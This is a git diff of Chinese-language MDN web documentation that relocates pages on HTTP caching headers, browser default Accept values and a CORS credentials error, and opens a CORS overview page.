"public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN等)缓存。若指定了"public",则一些通常不被中间人缓存的页面(译者注:因为默认是private)(比如 带有HTTP验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。

+ +

而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。

+ +
Cache-Control: private
+Cache-Control: public
+ +

过期

+ +

过期机制中,最重要的指令是 "max-age=<seconds>",表示资源能够被缓存(保持新鲜)的最大时间。相对Expires而言,max-age是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js等静态资源。

+ +

详情看下文关于缓存有效性的内容。

+ +
Cache-Control: max-age=31536000
+ +

验证方式

+ +

当使用了 "must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于缓存校验的内容。

+ +
Cache-Control: must-revalidate
+ +

Pragma 头

+ +

{{HTTPHeader("Pragma")}} 是HTTP/1.0标准中定义的一个header属性,请求中包含Pragma的效果跟在头信息中定义Cache-Control: no-cache相同,但是HTTP的响应头没有明确定义这个属性,所以它不能拿来完全替代HTTP/1.1中定义的Cache-control头。通常定义Pragma以向后兼容基于HTTP/1.0的客户端。

+ +

新鲜度

+ +

理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于HTTP是C/S模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个If-None-Match头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 304 (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since判断后发现已过期,那么会带有该资源的实体内容返回。

+ +

下面是上述缓存处理过程的一个图示:

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

对于含有特定头信息的请求,会去计算缓存寿命。比如Cache-control: max-age=N的头,相应的缓存的寿命就是N。通常情况下,对于不含这个属性的请求则会去查看是否包含Expires属性,通过比较Expires的值和头里面Date属性的值来判断是否缓存还有效。如果max-age和expires属性都没有,找找头里的Last-Modified信息。如果有,缓存的寿命就等于头里面Date的值减去Last-Modified的值除以10(注:根据rfc2626其实也就是乘以10%)。

+ +

缓存失效时间计算公式如下:

+ +
expirationTime = responseTime + freshnessLifetime - currentAge
+ +

上式中,responseTime 表示浏览器接收到此响应的那个时间点。

+ +

改进资源

+ +

我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些js/css文件,当它们变动时需要尽快更新线上资源。

+ +

web开发者发明了一种被 Steve Souders 称之为 revving 的技术[1] 。不频繁更新的文件会使用特定的命名方式:在URL后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。web开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(js/css)变动了,只用在高频变动的资源文件(html)里做入口的改动。

+ +

这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的css和js文件,避免这种不一致性是非常重要的。

+ +

+ +

加在加速文件后面的版本号不一定是一个正式的版本号字符串,如1.1.3这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如hash或者时间戳。

+ +

缓存验证

+ +

用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有"Cache-control: must-revalidate”的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置Advanced->Cache为强制验证缓存也能达到相同的效果。

+ +

当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。

+ +

ETags

+ +

作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理(User Agent, 下面简称UA)不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的HTTP UA,不知道ETag代表什么,不能预测它的值是多少。如果资源请求的响应头里含有ETag, 客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。

+ +

{{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。

+ +

当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回body)表示浏览器可以使用本地缓存文件。304的响应头也可以同时更新缓存文档的过期时间。

+ +

Vary 响应

+ +

{{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。

+ +

当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的Vary都匹配,才能使用缓存的响应。

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.

+ +

使用vary头有利于内容服务的动态多样性。例如,使用Vary: User-Agent头,缓存服务器需要通过UA判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入Cloaking

+ +
Vary: User-Agent
+ +

因为移动版和桌面的客户端的请求头中的User-Agent不同, 缓存服务器不会错误地把移动端的内容输出到桌面端到用户。

+ +

参考

+ + + +
+
+
diff --git a/files/zh-cn/web/http/caching_faq/index.html b/files/zh-cn/web/http/caching_faq/index.html deleted file mode 100644 index 3bf85cb945..0000000000 --- a/files/zh-cn/web/http/caching_faq/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: HTTP 缓存 -slug: Web/HTTP/Caching_FAQ -tags: - - Cache-Control - - ETag - - Expires - - HTTP - - HTTP Cache - - Last-Modified - - 协商缓存 - - 强缓存 - - 指南 - - 缓存 -translation_of: Web/HTTP/Caching ---- -
{{HTTPSidebar}}
- -

通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP缓存,变得更加响应性。

- -

不同种类的缓存

- -

缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能(获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。

- -

缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 web 应用提供更好的稳定性、性能和扩展性。

- -

What a cache provide, advantages/disadvantages of shared/private caches.

- -

(私有)浏览器缓存

- -

私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。

- -

(共享)代理缓存

- -

共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。

- -

缓存操作的目标

- -

虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括request method和目标URI(一般只有GET请求才会被缓存)。 普遍的缓存案例:

- -
    -
  • 一个检索请求的成功响应: 对于 {{HTTPMethod("GET")}}请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如HTML文档,图片,或者文件的响应。
  • -
  • 永久重定向: 响应状态码:{{HTTPStatus(301)}}。
  • -
  • 错误响应: 响应状态码:{{HTTPStatus(404)}} 的一个页面。
  • -
  • 不完全的响应: 响应状态码 {{HTTPStatus(206)}},只返回局部的信息。
  • -
  • 除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的cache键名的响应。
  • -
- -

针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考下文关于 {{HTTPHeader("Vary")}} 的信息。

- -

缓存控制

- -

Cache-control

- -

HTTP/1.1定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况, 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。

- -

没有缓存

- -

缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。

- -
Cache-Control: no-store
- -

缓存但重新验证

- -

如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回304),则缓存才使用本地缓存副本。

- -
Cache-Control: no-cache
- -

私有和公共缓存

- -

"public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN等)缓存。若指定了"public",则一些通常不被中间人缓存的页面(译者注:因为默认是private)(比如 带有HTTP验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。

- -

而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。

- -
Cache-Control: private
-Cache-Control: public
- -

过期

- -

过期机制中,最重要的指令是 "max-age=<seconds>",表示资源能够被缓存(保持新鲜)的最大时间。相对Expires而言,max-age是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js等静态资源。

- -

详情看下文关于缓存有效性的内容。

- -
Cache-Control: max-age=31536000
- -

验证方式

- -

当使用了 "must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于缓存校验的内容。

- -
Cache-Control: must-revalidate
- -

Pragma 头

- -

{{HTTPHeader("Pragma")}} 是HTTP/1.0标准中定义的一个header属性,请求中包含Pragma的效果跟在头信息中定义Cache-Control: no-cache相同,但是HTTP的响应头没有明确定义这个属性,所以它不能拿来完全替代HTTP/1.1中定义的Cache-control头。通常定义Pragma以向后兼容基于HTTP/1.0的客户端。

- -

新鲜度

- -

理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于HTTP是C/S模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个If-None-Match头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 304 (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since判断后发现已过期,那么会带有该资源的实体内容返回。

- -

下面是上述缓存处理过程的一个图示:

- -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

- -

对于含有特定头信息的请求,会去计算缓存寿命。比如Cache-control: max-age=N的头,相应的缓存的寿命就是N。通常情况下,对于不含这个属性的请求则会去查看是否包含Expires属性,通过比较Expires的值和头里面Date属性的值来判断是否缓存还有效。如果max-age和expires属性都没有,找找头里的Last-Modified信息。如果有,缓存的寿命就等于头里面Date的值减去Last-Modified的值除以10(注:根据rfc2626其实也就是乘以10%)。

- -

缓存失效时间计算公式如下:

- -
expirationTime = responseTime + freshnessLifetime - currentAge
- -

上式中,responseTime 表示浏览器接收到此响应的那个时间点。

- -

改进资源

- -

我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些js/css文件,当它们变动时需要尽快更新线上资源。

- -

web开发者发明了一种被 Steve Souders 称之为 revving 的技术[1] 。不频繁更新的文件会使用特定的命名方式:在URL后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。web开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(js/css)变动了,只用在高频变动的资源文件(html)里做入口的改动。

- -

这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的css和js文件,避免这种不一致性是非常重要的。

- -

- -

加在加速文件后面的版本号不一定是一个正式的版本号字符串,如1.1.3这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如hash或者时间戳。

- -

缓存验证

- -

用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有"Cache-control: must-revalidate”的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置Advanced->Cache为强制验证缓存也能达到相同的效果。

- -

当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。

- -

ETags

- -

作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理(User Agent, 下面简称UA)不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的HTTP UA,不知道ETag代表什么,不能预测它的值是多少。如果资源请求的响应头里含有ETag, 客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。

- -

{{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。

- -

当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回body)表示浏览器可以使用本地缓存文件。304的响应头也可以同时更新缓存文档的过期时间。

- -

Vary 响应

- -

{{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。

- -

当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的Vary都匹配,才能使用缓存的响应。

- -

The Vary header leads cache to use more HTTP headers as key for the cache.

- -

使用vary头有利于内容服务的动态多样性。例如,使用Vary: User-Agent头,缓存服务器需要通过UA判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入Cloaking

- -
Vary: User-Agent
- -

因为移动版和桌面的客户端的请求头中的User-Agent不同, 缓存服务器不会错误地把移动端的内容输出到桌面端到用户。

- -

参考

- - - -
-
-
diff --git "a/files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" "b/files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" deleted file mode 100644 index 9db5868657..0000000000 --- "a/files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: Accept 默认值 -slug: Web/HTTP/Content_negotiation/Accept_默认值 -translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values ---- -
{{HTTPSidebar}}
- -

本文介绍了在一些特定输入和浏览器版本下的HTTP  Accept 头的默认值

- -

默认值

- -

这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 */* MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或HTML {{HTMLElement("a")}} 标签发起的请求。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User Agent Value Comment
Firefoxtext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-  
这个值可以通过network.http.accept.default 参数来修改。
Safari, Chrome -

application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5

-
source
Safari 5 -

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

-
这是对早期 Accept 头的改进,不再把 image/png 排在 text/html 之前。
Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* 请参见 IE and the Accept Header (IEInternals' MSDN blog).
Edgetext/html, application/xhtml+xml, image/jxr, */* 
Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 
- -

image请求

- -

当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素, 用户代理通常会设置一个特定的媒体类型列表。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox*/* (since Firefox 47)
- image/png,image/*;q=0.8,*/*;q=0.5 (before)
 这个值可以通过 image.http.accept 参数修改。
Safari*/* 
Chromeimage/webp,image/*,*/*;q=0.8 在支持webp格式之前,是使用的 */*
Internet Explorer 8 及更早版本*/* 请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
- -

video请求

- -

通过HTML {{HTMLElement("video")}} 元素请求一个video时, 大多数浏览器会使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox  3.6 之前的版本 不支持 {{HTMLElement("video")}} 
Firefox 3.6 及以上版本audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5 请参见bug 489071
Chrome*/* 
Internet Explorer 8 或更早的版本 不支持 {{HTMLElement("video")}} 
- -

audio请求

- -

通过HTML {{HTMLElement("audio")}} 元素请求audio资源时, 大多数浏览器会使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox 3.6 及以上版本audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5See bug 489071
Safari, Chrome? 
Internet Explorer 8 及更早版本 不支持 {{HTMLElement("audio")}} 
Internet Explorer 9? 
- -

scripts请求

- -

当通过 {{HTMLElement("script")}} 元素请求script时, 一些浏览器使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox*/* 请参见bug 170789
Safari, Chrome*/* 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9application/javascript, */*;q=0.8请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
- -

CSS 请求

- -

当通过 <link rel="stylesheet"> HTML 元素请求CSS样式表时, 大多数浏览器使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox 4text/css,*/*;q=0.1 请参见bug 170789
Safari 5text/css,*/*;q=0.1 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9text/css请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
Chrome 12text/css,*/*;q=0.1 
Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1  
Konqueror 4.6text/css,*/*;q=0.1 
diff --git a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html new file mode 100644 index 0000000000..9db5868657 --- /dev/null +++ b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -0,0 +1,248 @@ +--- +title: Accept 默认值 +slug: Web/HTTP/Content_negotiation/Accept_默认值 +translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +--- +
{{HTTPSidebar}}
+ +

本文介绍了在一些特定输入和浏览器版本下的HTTP  Accept 头的默认值

+ +

默认值

+ +

这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 */* MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或HTML {{HTMLElement("a")}} 标签发起的请求。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User Agent Value Comment
Firefoxtext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+  
这个值可以通过network.http.accept.default 参数来修改。
Safari, Chrome +

application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5

+
source
Safari 5 +

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

+
这是对早期 Accept 头的改进,不再把 image/png 排在 text/html 之前。
Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* 请参见 IE and the Accept Header (IEInternals' MSDN blog).
Edgetext/html, application/xhtml+xml, image/jxr, */* 
Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 
+ +

image请求

+ +

当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素, 用户代理通常会设置一个特定的媒体类型列表。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox*/* (since Firefox 47)
+ image/png,image/*;q=0.8,*/*;q=0.5 (before)
 这个值可以通过 image.http.accept 参数修改。
Safari*/* 
Chromeimage/webp,image/*,*/*;q=0.8 在支持webp格式之前,是使用的 */*
Internet Explorer 8 及更早版本*/* 请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
+ +

video请求

+ +

通过HTML {{HTMLElement("video")}} 元素请求一个video时, 大多数浏览器会使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox  3.6 之前的版本 不支持 {{HTMLElement("video")}} 
Firefox 3.6 及以上版本audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5 请参见bug 489071
Chrome*/* 
Internet Explorer 8 或更早的版本 不支持 {{HTMLElement("video")}} 
+ +

audio请求

+ +

通过HTML {{HTMLElement("audio")}} 元素请求audio资源时, 大多数浏览器会使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox 3.6 及以上版本audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5See bug 489071
Safari, Chrome? 
Internet Explorer 8 及更早版本 不支持 {{HTMLElement("audio")}} 
Internet Explorer 9? 
+ +

scripts请求

+ +

当通过 {{HTMLElement("script")}} 元素请求script时, 一些浏览器使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox*/* 请参见bug 170789
Safari, Chrome*/* 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9application/javascript, */*;q=0.8请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
+ +

CSS 请求

+ +

当通过 <link rel="stylesheet"> HTML 元素请求CSS样式表时, 大多数浏览器使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox 4text/css,*/*;q=0.1 请参见bug 170789
Safari 5text/css,*/*;q=0.1 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9text/css请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
Chrome 12text/css,*/*;q=0.1 
Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1  
Konqueror 4.6text/css,*/*;q=0.1 
diff --git a/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html new file mode 100644 index 0000000000..8a8f8d0074 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html @@ -0,0 +1,32 @@ +--- +title: 故:在CORS头Access-Control-Allow-Credentials中预期为true +slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 +translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +--- +
+ +

理由

+ +
故:在CORS头Access-Control-Allow-Credentials中预期设为true
+ +

错在了哪儿?

+ +

     CORS请求要求服务器允许使用凭据,但是服务器的HTTPHeader:Access-Control-Allow-Credentials标头的值并没有设置为true 。

+ +

想要在客户端解决此问题,请修改代码以不请求使用凭据:

+ +
    +
  • 如果要使用{{domxref("XMLHttpRequest")}}发出请求,请确保没有将{{domxref("XMLHttpRequest.withCredentials”,“ withCredentials")}}}设置为true。
  • +
  • 如果使用 Server-sent events,请确保{{domxref("EventSource.withCredentials")}}为false(default)。
  • +
  • 如果使用 Fetch API,请确保{{domxref("Request.credentials")}}为“omit”。
  • +
+ +

想要通过更改服务器的配置来消除此错误,请调整服务器的配置以将Access-Control-Allow-Credentials标头的值设置为true。

+ +

更多

+ + diff --git "a/files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" "b/files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" deleted file mode 100644 index 8a8f8d0074..0000000000 --- "a/files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 故:在CORS头Access-Control-Allow-Credentials中预期为true -slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 -translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials ---- -
- -

理由

- -
故:在CORS头Access-Control-Allow-Credentials中预期设为true
- -

错在了哪儿?

- -

     CORS请求要求服务器允许使用凭据,但是服务器的HTTPHeader:Access-Control-Allow-Credentials标头的值并没有设置为true 。

- -

想要在客户端解决此问题,请修改代码以不请求使用凭据:

- -
    -
  • 如果要使用{{domxref("XMLHttpRequest")}}发出请求,请确保没有将{{domxref("XMLHttpRequest.withCredentials”,“ withCredentials")}}}设置为true。
  • -
  • 如果使用 Server-sent events,请确保{{domxref("EventSource.withCredentials")}}为false(default)。
  • -
  • 如果使用 Fetch API,请确保{{domxref("Request.credentials")}}为“omit”。
  • -
- -

想要通过更改服务器的配置来消除此错误,请调整服务器的配置以将Access-Control-Allow-Credentials标头的值设置为true。

- -

更多

- - diff --git a/files/zh-cn/web/http/cors/index.html b/files/zh-cn/web/http/cors/index.html new file mode 100644 index 0000000000..c7acc1344d --- /dev/null +++ b/files/zh-cn/web/http/cors/index.html @@ -0,0 +1,510 @@ +--- +title: 跨源资源共享(CORS) +slug: Web/HTTP/Access_control_CORS +tags: + - AJAX + - CORS + - Cross-Origin Resource Sharing + - Fetch + - Fetch API + - HTTP + - HTTP Access Controls + - Same-origin policy + - Security + - XMLHttpRequest + - 'l10n:priority' +translation_of: Web/HTTP/CORS +--- +
{{HTTPSidebar}}
+ +

跨源资源共享 ({{Glossary("CORS")}}) (或通俗地译为跨域资源共享)是一种基于{{Glossary("HTTP")}} 头的机制,该机制通过允许服务器标示除了它自己以外的其它{{glossary("origin")}}(域,协议和端口),这样浏览器可以访问加载这些资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。

+ +

跨源HTTP请求的一个例子:运行在 http://domain-a.com 的JavaScript代码使用{{domxref("XMLHttpRequest")}}来发起一个到 https://domain-b.com/data.json 的请求。

+ +

